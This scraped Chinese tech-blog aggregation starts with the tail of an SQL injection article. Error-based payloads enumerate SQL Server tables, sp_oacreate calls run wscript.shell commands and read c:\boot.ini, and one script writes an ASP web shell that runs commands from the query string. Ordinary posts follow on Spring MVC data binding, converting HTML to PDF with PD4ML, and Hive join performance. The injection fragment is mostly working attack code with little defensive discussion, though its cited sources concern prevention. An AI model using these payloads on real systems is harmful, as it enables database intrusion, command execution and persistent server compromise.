and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree c:\
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100),id int)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果.
参考资料
1.  SQL注入的攻击分析与防范  .数字制造网 [引用日期2013-04-15] .
2.  浅谈SQL注入攻击的方法及其防范  .数字制造网 [引用日期2013-04-17] .

已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



注解式控制器详解(SpringMVC强大的数据绑定)

$
0
0

注解式控制器详解(SpringMVC强大的数据绑定)

到目前为止,请求已经能交给我们的处理器进行处理了,接下来的事情是要进行收集数据啦,接下来我们看看我们能从请求中收集到哪些数据,如图6-11:


图6-11

1、@RequestParam绑定单个请求参数值;

2、@PathVariable绑定URI模板变量值;

3、@CookieValue绑定Cookie数据值

4、@RequestHeader绑定请求头数据;

5、@ModelValue绑定参数到命令对象;

6、@SessionAttributes绑定命令对象到session;

7、@RequestBody绑定请求的内容区数据并能进行自动类型转换等。

8、@RequestPart绑定“multipart/data”数据,除了能绑定@RequestParam能做到的请求参数外,还能绑定上传的文件等。

 

除了上边提到的注解,我们还可以通过如HttpServletRequest等API得到请求数据,但推荐使用注解方式,因为使用起来更简单。

 

接下来先看一下功能处理方法支持的参数类型吧。

6.6.1、功能处理方法支持的参数类型

在继续学习之前,我们需要首先看看功能处理方法支持哪些类型的形式参数,以及他们的具体含义。

一、ServletRequest/HttpServletRequest 和 ServletResponse/HttpServletResponse

Java代码 
  1. public String requestOrResponse (  

  2.        ServletRequest servletRequest, HttpServletRequest httpServletRequest,  

  3.        ServletResponse servletResponse, HttpServletResponse httpServletResponse  

  4.    )  

 

Spring Web MVC框架会自动帮助我们把相应的Servlet请求/响应(Servlet API)作为参数传递过来。

 

二、InputStream/OutputStream 和 Reader/Writer

Java代码 
  1. public void inputOrOutBody(InputStream requestBodyIn, OutputStream responseBodyOut)  

  2.        throws IOException {  

  3. responseBodyOut.write("success".getBytes());  

  4. }  

requestBodyIn:获取请求的内容区字节流,等价于request.getInputStream();

responseBodyOut:获取相应的内容区字节流,等价于response.getOutputStream()。

Java代码 
  1. public void readerOrWriteBody(Reader reader, Writer writer)  

  2.        throws IOException {  

  3.    writer.write("hello");  

  4. }  

 

reader:获取请求的内容区字符流,等价于request.getReader();

writer:获取相应的内容区字符流,等价于response.getWriter()。

 

InputStream/OutputStream 和 Reader/Writer两组不能同时使用,只能使用其中的一组。

 

三、WebRequest/NativeWebRequest

WebRequest是Spring Web MVC提供的统一请求访问接口,不仅仅可以访问请求相关数据(如参数区数据、请求头数据,但访问不到Cookie区数据),还可以访问会话和上下文中的数据;NativeWebRequest继承了WebRequest,并提供访问本地Servlet API的方法。

Java代码 
  1. public String webRequest(WebRequest webRequest, NativeWebRequest nativeWebRequest) {  

  2.    System.out.println(webRequest.getParameter("test"));//①得到请求参数test的值  

  3.    webRequest.setAttribute("name", "value", WebRequest.SCOPE_REQUEST);//②  

  4.    System.out.println(webRequest.getAttribute("name", WebRequest.SCOPE_REQUEST));  

  5.    HttpServletRequest request =  

  6.        nativeWebRequest.getNativeRequest(HttpServletRequest.class);//③  

  7.    HttpServletResponse response =  

  8.        nativeWebRequest.getNativeResponse(HttpServletResponse.class);  

  9.        return "success";  

  10.    }  

① webRequest.getParameter:访问请求参数区的数据,可以通过getHeader()访问请求头数据;

② webRequest.setAttribute/getAttribute:到指定的作用范围内取/放属性数据,Servlet定义的三个作用范围分别使用如下常量代表:

           SCOPE_REQUEST :代表请求作用范围;

          SCOPE_SESSION :代表会话作用范围;

          SCOPE_GLOBAL_SESSION :代表全局会话作用范围,即ServletContext上下文作用范围。

③ nativeWebRequest.getNativeRequest/nativeWebRequest.getNativeResponse:得到本地的Servlet API。

 

四、HttpSession

Java代码 
  1. public String session(HttpSession session) {  

  2.    System.out.println(session);  

  3.    return "success";  

  4. }  

此处的session永远不为null。

 

注意:session访问不是线程安全的,如果需要线程安全,需要设置AnnotationMethodHandlerAdapter或RequestMappingHandlerAdapter的synchronizeOnSession属性为true,即可线程安全的访问session。

 

 

五、命令/表单对象

Spring Web MVC能够自动将请求参数绑定到功能处理方法的命令/表单对象上。

Java代码 
  1. @RequestMapping(value = "/commandObject", method = RequestMethod.GET)  

  2. public String toCreateUser(HttpServletRequest request, UserModel user) {  

  3.    return "customer/create";  

  4. }  

  5. @RequestMapping(value = "/commandObject", method = RequestMethod.POST)  

  6. public String createUser(HttpServletRequest request, UserModel user) {  

  7.    System.out.println(user);  

  8.    return "success";  

  9. }  

 

如果提交的表单(包含username和password文本域),将自动将请求参数绑定到命令对象user中去。

 

六、Model、Map、ModelMap

Spring Web MVC 提供Model、Map或ModelMap让我们能去暴露渲染视图需要的模型数据。

Java代码 
  1. @RequestMapping(value = "/model")  

  2. public String createUser(Model model, Map model2, ModelMap model3) {  

  3.    model.addAttribute("a", "a");  

  4.    model2.put("b", "b");  

  5.    model3.put("c", "c");  

  6.    System.out.println(model == model2);  

  7.    System.out.println(model2 == model3);  

  8.    return "success";}  

 

虽然此处注入的是三个不同的类型(Model model, Map model2, ModelMap model3),但三者是同一个对象,如图6-12所示:


图6-11

AnnotationMethodHandlerAdapter和RequestMappingHandlerAdapter将使用BindingAwareModelMap作为模型对象的实现,即此处我们的形参(Model model, Map model2, ModelMap model3)都是同一个BindingAwareModelMap实例。

 

此处还有一点需要我们注意:

  1. @RequestMapping(value = "/mergeModel")  

  2. public ModelAndView mergeModel(Model model) {  

  3.    model.addAttribute("a", "a");//①添加模型数据  

  4.    ModelAndView mv = new ModelAndView("success");  

  5.    mv.addObject("a", "update");//②在视图渲染之前更新③处同名模型数据  

  6.    model.addAttribute("a", "new");//③修改①处同名模型数据  

  7.    //视图页面的a将显示为"update" 而不是"new"  

  8.    return mv;  

  9. }  

从代码中我们可以总结出功能处理方法的返回值中的模型数据(如ModelAndView)会 合并 功能处理方法形式参数中的模型数据(如Model),但如果两者之间有同名的,返回值中的模型数据会覆盖形式参数中的模型数据。

 

七、Errors/BindingResult

Java代码 
  1. @RequestMapping(value = "/error1")  

  2. public String error1(UserModel user, BindingResult result)

  1. @RequestMapping(value = "/error2")  

  2. public String error2(UserModel user, BindingResult result, Model model) {  

  3.      

  1. @RequestMapping(value = "/error3")  

  2. public String error3(UserModel user, Errors errors)  

以上代码都能获取错误对象。

 

Spring3.1之前(使用AnnotationMethodHandlerAdapter)错误对象必须紧跟在命令对象/表单对象之后,如下定义是错误的:

Java代码 
  1. @RequestMapping(value = "/error4")  

  2. public String error4(UserModel user, Model model, Errors errors)  

  3.    }  

如上代码从Spring3.1开始(使用RequestMappingHandlerAdapter)将能正常工作,但还是推荐“错误对象紧跟在命令对象/表单对象之后”,这样是万无一失的。

 

Errors及BindingResult的详细使用请参考4.16.2数据验证。

 

 

八、其他杂项

 

public String other(Locale locale, Principal principal)

java.util.Locale:得到当前请求的本地化信息,默认等价于ServletRequest.getLocale(),如果配置LocaleResolver解析器则由它决定Locale,后续介绍;

 

java.security.Principal:该主体对象包含了验证通过的用户信息,等价于HttpServletRequest.getUserPrincipal()。

 

6.6.2、@RequestParam绑定单个请求参数值

@RequestParam用于将请求参数区数据映射到功能处理方法的参数上。

public String requestparam1(@RequestParam String username)

请求中包含username参数(如/requestparam1?username=zhang),则自动传入。

 

此处要特别注意:右击项目,选择“属性”,打开“属性对话框”,选择“Java Compiler”然后再打开的选项卡将“Add variable attributes to generated class files”取消勾选,意思是不将局部变量信息添加到类文件中,如图6-12所示:

图6-12

当你在浏览器输入URL,如“requestparam1?username=123”时会报如下错误

Name for argument type [java.lang.String] not available, and parameter name information not found in class file either,表示得不到功能处理方法的参数名,此时我们需要如下方法进行入参:

Java代码 
  1. public String requestparam2(@RequestParam("username") String username)  

即通过@RequestParam("username")明确告诉Spring Web MVC使用username进行入参。

 

接下来我们看一下@RequestParam注解主要有哪些参数:

value:参数名字,即入参的请求参数名字,如username表示请求的参数区中的名字为username的参数的值将传入;

required:是否必须,默认是true,表示请求中一定要有相应的参数,否则将报404错误码;

defaultValue:默认值,表示如果请求中没有同名参数时的默认值,默认值可以是SpEL表达式,如“#{systemProperties['java.vm.version']}”。

Java代码 
  1. public String requestparam4(@RequestParam(value="username",required=false) String username)  

表示请求中可以没有名字为username的参数,如果没有默认为null,此处需要注意如下几点:

 

    原子类型:必须有值,否则抛出异常,如果允许空值请使用包装类代替。

    Boolean包装类型类型:默认Boolean.FALSE,其他引用类型默认为null。

Java代码 
  1. public String requestparam5(  

  2. @RequestParam(value="username", required=true, defaultValue="zhang") String username)  

  3.          

表示如果请求中没有名字为username的参数,默认值为“zhang”。

 

如果请求中有多个同名的应该如何接收呢?如给用户授权时,可能授予多个权限,首先看下如下代码:

Java代码 
  1. public String requestparam7(@RequestParam(value="role") String roleList)  

如果请求参数类似于url?role=admin&rule=user,则实际roleList参数入参的数据为“admin,user”,即多个数据之间使用“,”分割;我们应该使用如下方式来接收多个请求参数:

Java代码 
  1. public String requestparam7(@RequestParam(value="role") String[] roleList)    

Java代码 
  1. public String requestparam8(@RequestParam(value="list") List<String> list)      

到此@RequestParam我们就介绍完了,以上测试代码在cn.javass.chapter6.web.controller. paramtype.RequestParamTypeController中。

 

6.6.3、@PathVariable绑定URI模板变量值

@PathVariable用于将请求URL中的模板变量映射到功能处理方法的参数上。

Java代码 
  1. @RequestMapping(value="/users/{userId}/topics/{topicId}")  

  2. public String test(  

  3.       @PathVariable(value="userId") int userId,  

  4.       @PathVariable(value="topicId") int topicId)        

如请求的URL为“控制器URL/users/123/topics/456”,则自动将URL中模板变量{userId}和{topicId}绑定到通过@PathVariable注解的同名参数上,即入参后userId=123、topicId=456。代码在PathVariableTypeController中。

 

6.6.4、@CookieValue绑定Cookie数据值

@CookieValue用于将请求的Cookie数据映射到功能处理方法的参数上。

Java代码 
  1. public String test(@CookieValue(value="JSESSIONID", defaultValue="") String sessionId)  

 

如上配置将自动将JSESSIONID值入参到sessionId参数上,defaultValue表示Cookie中没有JSESSIONID时默认为空。

Java代码 
  1. public String test2(@CookieValue(value="JSESSIONID", defaultValue="") Cookie sessionId)        

传入参数类型也可以是javax.servlet.http.Cookie类型。

 

测试代码在CookieValueTypeController中。@CookieValue也拥有和@RequestParam相同的三个参数,含义一样。

6.6.5、@RequestHeader绑定请求头数据

@RequestHeader用于将请求的头信息区数据映射到功能处理方法的参数上。

Java代码 
  1. @RequestMapping(value="/header")  

  2. public String test(  

  3.       @RequestHeader("User-Agent") String userAgent,  

  4.       @RequestHeader(value="Accept") String[] accepts)  

  5.          

如上配置将自动将请求头“User-Agent”值入参到userAgent参数上,并将“Accept”请求头值入参到accepts参数上。测试代码在HeaderValueTypeController中。

 

@RequestHeader也拥有和@RequestParam相同的三个参数,含义一样。

6.6.6、@ModelAttribute绑定请求参数到命令对象

@ModelAttribute一个具有如下三个作用:

①绑定请求参数到命令对象:放在功能处理方法的入参上时,用于将多个请求参数绑定到一个命令对象,从而简化绑定流程,而且自动暴露为模型数据用于视图页面展示时使用;

②暴露表单引用对象为模型数据:放在处理器的一般方法(非功能处理方法)上时,是为表单准备要展示的表单引用对象,如注册时需要选择的所在城市等,而且在执行功能处理方法(@RequestMapping注解的方法)之前,自动添加到模型对象中,用于视图页面展示时使用;

③暴露@RequestMapping方法返回值为模型数据:放在功能处理方法的返回值上时,是暴露功能处理方法的返回值为模型数据,用于视图页面展示时使用。

 

一、绑定请求参数到命令对象

如用户登录,我们需要捕获用户登录的请求参数(用户名、密码)并封装为用户对象,此时我们可以使用@ModelAttribute绑定多个请求参数到我们的命令对象。

Java代码 
  1. public String test1(@ModelAttribute("user") UserModel user)  

和6.6.1一节中的五、命令/表单对象功能一样。只是此处多了一个注解@ModelAttribute("user"),它的作用是将该绑定的命令对象以“user”为名称添加到模型对象中供视图页面展示使用。我们此时可以在视图页面使用${user.username}来获取绑定的命令对象的属性。

 

绑定请求参数到命令对象支持对象图导航式的绑定,如请求参数包含“?username=zhang&password=123&workInfo.city=bj”自动绑定到user中的workInfo属性的city属性中。

Java代码 
  1. @RequestMapping(value="/model2/{username}")  

  2. public String test2(@ModelAttribute("model") DataBinderTestModel model) {  

DataBinderTestModel相关模型请从第三章拷贝过来,请求参数到命令对象的绑定规则详见【4.16.1、数据绑定】一节,URI模板变量也能自动绑定到命令对象中,当你请求的URL中包含“bool=yes&schooInfo.specialty=computer&hobbyList[0]=program&hobbyList[1]=music&map[key1]=value1&map[key2]=value2&state=blocked”会自动绑定到命令对象上。

 

当URI模板变量和请求参数同名时,URI模板变量具有高优先权。

 

二、暴露表单引用对象为模型数据

Java代码 
  1. @ModelAttribute("cityList")  

  2. public List<String> cityList() {  

  3.    return Arrays.asList("北京", "山东");  

  4. }  

如上代码会在执行功能处理方法之前执行,并将其自动添加到模型对象中,在功能处理方法中调用Model 入参的containsAttribute("cityList")将会返回true。

Java代码 
  1. @ModelAttribute("user")  //①  

  2. public UserModel getUser(@RequestParam(value="username", defaultValue="") String username) {  

  3. //TODO 去数据库根据用户名查找用户对象  

  4. UserModel user = new UserModel();  

  5. user.setRealname("zhang");  

  6.     return user;  

  7. }  

如你要修改用户资料时一般需要根据用户的编号/用户名查找用户来进行编辑,此时可以通过如上代码查找要编辑的用户。

也可以进行一些默认值的处理。

Java代码 
  1. @RequestMapping(value="/model1") //②  

  2. public String test1(@ModelAttribute("user") UserModel user, Model model)  

此处我们看到①和②有同名的命令对象,那Spring Web MVC内部如何处理的呢:

(1、首先执行@ModelAttribute注解的方法,准备视图展示时所需要的模型数据;@ModelAttribute注解方法形式参数规则和@RequestMapping规则一样,如可以有@RequestParam等;

(2、执行@RequestMapping注解方法,进行模型绑定时首先查找模型数据中是否含有同名对象,如果有直接使用,如果没有通过反射创建一个,因此②处的user将使用①处返回的命令对象。即②处的user等于①处的user。

 

三、暴露@RequestMapping方法返回值为模型数据

Java代码 
  1. public @ModelAttribute("user2") UserModel test3(@ModelAttribute("user2") UserModel user)  

大家可以看到返回值类型是命令对象类型,而且通过@ModelAttribute("user2")注解,此时会暴露返回值到模型数据(名字为user2)中供视图展示使用。那哪个视图应该展示呢?此时Spring Web MVC会根据RequestToViewNameTranslator进行逻辑视图名的翻译,详见【4.15.5、RequestToViewNameTranslator】一节。

 

此时又有问题了,@RequestMapping注解方法的入参user暴露到模型数据中的名字也是user2,其实我们能猜到:

(3、@ModelAttribute注解的返回值会覆盖@RequestMapping注解方法中的@ModelAttribute注解的同名命令对象。

 

四、匿名绑定命令参数

Java代码 
  1. public String test4(@ModelAttribute UserModel user, Model model)  

  2. 或  

  3. public String test5(UserModel user, Model model)  

此时我们没有为命令对象提供暴露到模型数据中的名字,此时的名字是什么呢?Spring Web MVC自动将简单类名(首字母小写)作为名字暴露,如“cn.javass.chapter6.model.UserModel”暴露的名字为“userModel”。

Java代码 
  1. public @ModelAttribute List<String> test6()  

  2. 或  

  3. public @ModelAttribute List<UserModel> test7()  

对于集合类型(Collection接口的实现者们,包括数组),生成的模型对象属性名为“简单类名(首字母小写)”+“List”,如List<String>生成的模型对象属性名为“stringList”,List<UserModel>生成的模型对象属性名为“userModelList”。

 

其他情况一律都是使用简单类名(首字母小写)作为模型对象属性名,如Map<String, UserModel>类型的模型对象属性名为“map”。

6.6.7、@SessionAttributes绑定命令对象到session

有时候我们需要在多次请求之间保持数据,一般情况需要我们明确的调用HttpSession的API来存取会话数据,如多步骤提交的表单。Spring Web MVC提供了@SessionAttributes进行请求间透明的存取会话数据。

Java代码 
  1. //1、在控制器类头上添加@SessionAttributes注解  

  2. @SessionAttributes(value = {"user"})    //①  

  3. public class SessionAttributeController  

  4.  

  5. //2、@ModelAttribute注解的方法进行表单引用对象的创建  

  6. @ModelAttribute("user")    //②  

  7. public UserModel initUser()  

  8.  

  9. //3、@RequestMapping注解方法的@ModelAttribute注解的参数进行命令对象的绑定  

  10. @RequestMapping("/session1")   //③  

  11. public String session1(@ModelAttribute("user") UserModel user)  

  12.  

  13. //4、通过SessionStatus的setComplete()方法清除@SessionAttributes指定的会话数据  

  14. @RequestMapping("/session2")   //③  

  15. public String session(@ModelAttribute("user") UserModel user, SessionStatus status) {  

  16.    if(true) { //④  

  17.        status.setComplete();  

  18.    }  

  19.    return "success";  

  20. }  

@SessionAttributes(value = {"user"})含义:

@SessionAttributes(value = {"user"}) 标识将模型数据中的名字为“user” 的对象存储到会话中(默认HttpSession),此处value指定将模型数据中的哪些数据(名字进行匹配)存储到会话中,此外还有一个types属性表示模型数据中的哪些类型的对象存储到会话范围内,如果同时指定value和types属性则那些名字和类型都匹配的对象才能存储到会话范围内。

 

包含@SessionAttributes的执行流程如下所示:

① 首先根据@SessionAttributes注解信息查找会话内的对象放入到模型数据中;

② 执行@ModelAttribute注解的方法:如果模型数据中包含同名的数据,则不执行@ModelAttribute注解方法进行准备表单引用数据,而是使用①步骤中的会话数据;如果模型数据中不包含同名的数据,执行@ModelAttribute注解的方法并将返回值添加到模型数据中;

③ 执行@RequestMapping方法,绑定@ModelAttribute注解的参数:查找模型数据中是否有@ModelAttribute注解的同名对象,如果有直接使用,否则通过反射创建一个;并将请求参数绑定到该命令对象;

此处需要注意:如果使用@SessionAttributes注解控制器类之后,③步骤一定是从模型对象中取得同名的命令对象,如果模型数据中不存在将抛出HttpSessionRequiredException Expected session attribute ‘user’(Spring3.1)

或HttpSessionRequiredException Session attribute ‘user’ required - not found in session(Spring3.0)异常。

④ 如果会话可以销毁了,如多步骤提交表单的最后一步,此时可以调用SessionStatus对象的setComplete()标识当前会话的@SessionAttributes指定的数据可以清理了,此时当@RequestMapping功能处理方法执行完毕会进行清理会话数据。

 

我们通过Spring Web MVC的源代码验证一下吧,此处我们分析的是Spring3.1的RequestMappingHandlerAdapter,读者可以自行验证Spring3.0的AnnotationMethodHandlerAdapter,流程一样:

(1、RequestMappingHandlerAdapter.invokeHandlerMethod

Java代码 
  1. //1、RequestMappingHandlerAdapter首先调用ModelFactory的initModel方法准备模型数据:  

  2. modelFactory.initModel(webRequest, mavContainer, requestMappingMethod);  

  3. //2、调用@RequestMapping注解的功能处理方法  

  4. requestMappingMethod.invokeAndHandle(webRequest, mavContainer);  

  5. //3、更新/合并模型数据  

  6. modelFactory.updateModel(webRequest, mavContainer);  

(2、ModelFactory.initModel

Java代码 
  1. Map<String, ?> attributesInSession =this.sessionAttributesHandler.retrieveAttributes(request);  

  2. //1.1、将与@SessionAttributes注解相关的会话对象放入模型数据中  

  3. mavContainer.mergeAttributes(attributesInSession);  

  4. //1.2、调用@ModelAttribute方法添加表单引用对象  

  5. invokeModelAttributeMethods(request, mavContainer);  

  6. //1.3、验证模型数据中是否包含@SessionAttributes注解相关的会话对象,不包含抛出异常  

  7. for (String name : findSessionAttributeArguments(handlerMethod)) {  

  8.    if (!mavContainer.containsAttribute(name)) {  

  9.        //1.4、此处防止在@ModelAttribute注解方法又添加了会话对象  

  10.        //如在@ModelAttribute注解方法调用session.setAttribute("user", new UserModel());  

  11.        Object value = this.sessionAttributesHandler.retrieveAttribute(request, name);  

  12.        if (value == null) {  

  13.            throw new HttpSessionRequiredException("Expected session attribute '" + name +"'");  

  14.        }  

  15.        mavContainer.addAttribute(name, value);  

  16. }  

(3、ModelFactory.invokeModelAttributeMethods

Java代码 
  1. for (InvocableHandlerMethod attrMethod : this.attributeMethods) {  

  2.    String modelName = attrMethod.getMethodAnnotation(ModelAttribute.class).value();  

  3.    //1.2.1、如果模型数据中包含同名数据则不再添加  

  4.    if (mavContainer.containsAttribute(modelName)) {  

  5.        continue;  

  6.    }  

  7.    //1.2.2、调用@ModelAttribute注解方法并将返回值添加到模型数据中,此处省略实现代码  

  8. }  

(4、requestMappingMethod.invokeAndHandle 调用功能处理方法,此处省略

(5、ModelFactory.updateMode 更新模型数据

Java代码 
  1. //3.1、如果会话被标识为完成,此时从会话中清除@SessionAttributes注解相关的会话对象  

  2. if (mavContainer.getSessionStatus().isComplete()){  

  3.    this.sessionAttributesHandler.cleanupAttributes(request);  

  4. }  

  5. //3.2、如果会话没有完成,将模型数据中的@SessionAttributes注解相关的对象添加到会话中  

  6. else {  

  7.    this.sessionAttributesHandler.storeAttributes(request, mavContainer.getModel());  

  8. }  

  9. //省略部分代码  

到此@SessionAtrribute介绍完毕,测试代码在cn.javass.chapter6.web.controller.paramtype.SessionAttributeController中。

 

另外cn.javass.chapter6.web.controller.paramtype.WizardFormController是一个类似于【4.11、AbstractWizardFormController】中介绍的多步骤表单实现,此处不再贴代码,多步骤提交表单需要考虑会话超时问题,这种方式可能对用户不太友好,我们可以采取隐藏表单(即当前步骤将其他步骤的表单隐藏)或表单数据存数据库(每步骤更新下数据库数据)等方案解决。

6.6.8、@Value绑定SpEL表示式

@Value用于将一个SpEL表达式结果映射到到功能处理方法的参数上。

Java代码 
  1. public String test(@Value("#{systemProperties['java.vm.version']}") String jvmVersion)  

到此数据绑定我们就介绍完了,对于没有介绍的方法参数和注解(包括自定义注解)在后续章节进行介绍。

 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Html 转换成PDF

$
0
0

最近在搞一个关于html转换为pdf的需求,网上找了很多,但是如果批量处理就会出现问题,最后找到了PD4ML,解决了我的问题

package fonts;

import java.awt.Dimension;
import java.awt.Insets;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;

import org.zefer.pd4ml.PD4Constants;
import org.zefer.pd4ml.PD4ML;

public class TextHtml {
    protected Dimension format = PD4Constants.A4;

    protected boolean landscapeValue = false;

    protected int topValue = 5;

    protected int leftValue = 10;

    protected int rightValue = 10;

    protected int bottomValue = 10;

    protected String unitsValue = "mm";

    protected String proxyHost = "";

    protected int proxyPort = 0;

    protected int userSpaceWidth = 1100;
	
	public static void main(String[] args) throws Exception {  
		TextHtml converter = new TextHtml();  
		//for (int i = 0; i < 7000; i++) {
		    converter.generatePDF_2(0);  
       // }
    }  
    public void generatePDF_2(int i) throws Exception {  
        ByteArrayOutputStream ba = new ByteArrayOutputStream();
        PD4ML pd4ml = new PD4ML();
        pd4ml.setPageSize(new java.awt.Dimension(450, 450));
        pd4ml.setPageInsets(new java.awt.Insets(5, 5, 5, 5));
        pd4ml.enableImgSplit(false);
        pd4ml.useTTF("java:fonts", true);

        try {
            pd4ml.setPageSize(landscapeValue ? pd4ml .changePageOrientation(format) : format);
        } catch (Exception e) {
            e.printStackTrace();
        }

        if (unitsValue.equals("mm")) {
            pd4ml.setPageInsetsMM(new Insets(topValue, leftValue,
            bottomValue, rightValue));
        } else {
            pd4ml.setPageInsets(new Insets(topValue, leftValue,
            bottomValue, rightValue));
        }

        pd4ml.setHtmlWidth(userSpaceWidth);
        String urlstring = "file:///D:/债权转让及受让协议--魏然2014-08-16.html";
        URL url = new URL(urlstring);
        pd4ml.render(urlstring, ba);
        try {
            FileOutputStream out = new FileOutputStream("d:\\demo\\pdf\\"+3311+".pdf");  
            ba.writeTo(out);
            out.flush();
            out.close();
            ba.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }  

}

 

 

需要在src目录下创建fonts文件夹,并且在文件夹中建立pd4fonts.properties ,配置文件中的内容如下

#this is an autogenerated file. please remove manually any references to copyrighted fonts
#Fri Oct 23 19:43:12 CEST 2009
KaiTi_GB2312=STZHONGS.TTF

 

 

STZHONGS.TTF 需要到C:\Windows\Fonts找到放到同级目录下





已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




Hive中小表与大表关联(join)的性能分析

$
0
0

经常看到一些Hive优化的建议中说当小表与大表做关联时,把小表写在前面,这样可以使Hive的关联速度更快,提到的原因都是说因为小表可以先放到内存中,然后大表的每条记录再去内存中检测,最终完成关联查询。这样的原因看似合理,但是仔细推敲,又站不住脚跟。

 

多小的表算小表?如果所谓的小表在内存中放不下怎么办?我用2个只有几条记录的表做关联查询,这应该算是小表了,在查看reduce的执行日志时依然是有写磁盘的操作的。实际上reduce在接收全部map的输出后一定会有一个排序所有键值对并合并写入磁盘文件的操作。写入磁盘(spill)有可能是多次的,因此有可能会生成多个临时文件,但是最终都要合并成一个文件,即最终每一个reduce都只处理一个文件。

 

我做了一个实验,用1条记录的表和3亿多条记录的表做join,无论小表是放在join的前面还是join的后面,执行的时间几乎都是相同的。再去看reduce的执行日志,1条记录的表在join前或者join后两次查询的reduce日志几乎也是一摸一样的。如果按照上面的说法把join左侧的表放内存等待join右侧的表到内存中去检测,那么当3亿多条记录的表放在join左侧时,内存肯定是无法容下这么多记录的,势必要进行写磁盘的操作,那它的执行时间应该会比小表在join前时长很多才对,但事实并不是这样,也就说明了上面说到的原因并不合理。

 

事实上“把小表放在前面做关联可以提高效率”这种说法是错误的。正确的说法应该是“把重复关联键少的表放在join前面做关联可以提高join的效率。”

 

分析一下Hive对于两表关联在底层是如何实现的。因为不论多复杂的Hive查询,最终都要转化成mapreduce的JOB去执行,因此Hive对于关联的实现应该和mapreduce对于关联的实现类似。而mapreduce对于关联的实现,简单来说,是把关联键和标记是在join左边还是右边的标识位作为组合键(key),把一条记录以及标记是在join左边还是右边的标识位组合起来作为值(value)。在reduce的shuffle阶段,按照组合键的关联键进行主排序,当关联键相同时,再按照标识位进行辅助排序。而在分区段时,只用关联键中的关联键进行分区段,这样关联键相同的记录就会放在同一个value list中,同时保证了join左边的表的记录在value list的前面,而join右边的表的记录在value list的后面。

 

例如A join B ON (A.id = b.id) ,假设A表和B表都有1条id = 3的记录,那么A表这条记录的组合键是(3,0),B表这条记录的组合键是(3,1)。排序时可以保证A表的记录在B表的记录的前面。而在reduce做处理时,把id=3的放在同一个value list中,形成 key = 3,value list = [A表id=3的记录,B表id=3的记录]

 

接下来我们再来看当两个表做关联时reduce做了什么。Reduce会一起处理id相同的所有记录。我们把value list用数组来表示。

 

1)   Reduce先读取第一条记录v[0],如果发现v[0]是B表的记录,那说明没有A表的记录,最终不会关联输出,因此不用再继续处理这个id了,读取v[0]用了1次读取操作。

 

2)   如果发现v[0]到v[length-1]全部是A表的记录,那说明没有B表的记录,同样最终不会关联输出,但是这里注意,已经对value做了length次的读取操作。

 

3)   例如A表id=3有1条记录,B表id=3有10条记录。首先读取v[0]发现是A表的记录,用了1次读取操作。然后再读取v[1]发现是B表的操作,这时v[0]和v[1]可以直接关联输出了,累计用了2次操作。这时候reduce已经知道从v[1]开始后面都是B 表的记录了,因此可以直接用v[0]依次和v[2],v[3]……v[10]做关联操作并输出,累计用了11次操作。

 

4)   换过来,假设A表id=3有10条记录,B表id=3有1条记录。首先读取v[0]发现是A表的记录,用了1次读取操作。然后再读取v[1]发现依然是A表的记录,累计用了2次读取操作。以此类推,读取v[9]时发现还是A表的记录,累计用了10次读取操作。然后读取最后1条记录v[10]发现是B表的记录,可以将v[0]和v[10]进行关联输出,累计用了11次操作。接下来可以直接把v[1]~v[9]分别与v[10]进行关联输出,累计用了20次操作。

 

5)   再复杂一点,假设A表id=3有2条记录,B表id=3有5条记录。首先读取v[0]发现是A表的记录,用了1次读取操作。然后再读取v[1]发现依然是A表的记录,累计用了2次读取操作。然后读取v[2]发现是B表的记录,此时v[0]和v[2]可以直接关联输出,累计用了3次操作。接下来v[0]可以依次和v[3]~v[6]进行关联输出,累计用了7次操作。接下来v[1]再依次和v[2]~v[6]进行关联输出,累计用了12次操作。

 

6)   把5的例子调过来,假设A表id=3有5条记录,B表id=3有2条记录。先读取v[0]发现是A表的记录,用了1次读取操作。然后再读取v[1]发现依然是A表的记录,累计用了2次读取操作。以此类推,读取到v[4]发现依然是A表的记录,累计用了5次读取操作。接下来读取v[5],发现是B表的记录,此时v[0]和v[5]可以直接关联输出,累计用了6次操作。然后v[0]和v[6]进行关联输出,累计用了7次操作。然后v[1]分别与v[5]、v[6]关联输出,累计用了9次操作。V[2] 分别与v[5]、v[6]关联输出,累计用了11次操作。以此类推,最后v[4] 分别与v[5]、v[6]关联输出,累计用了15次操作。

 

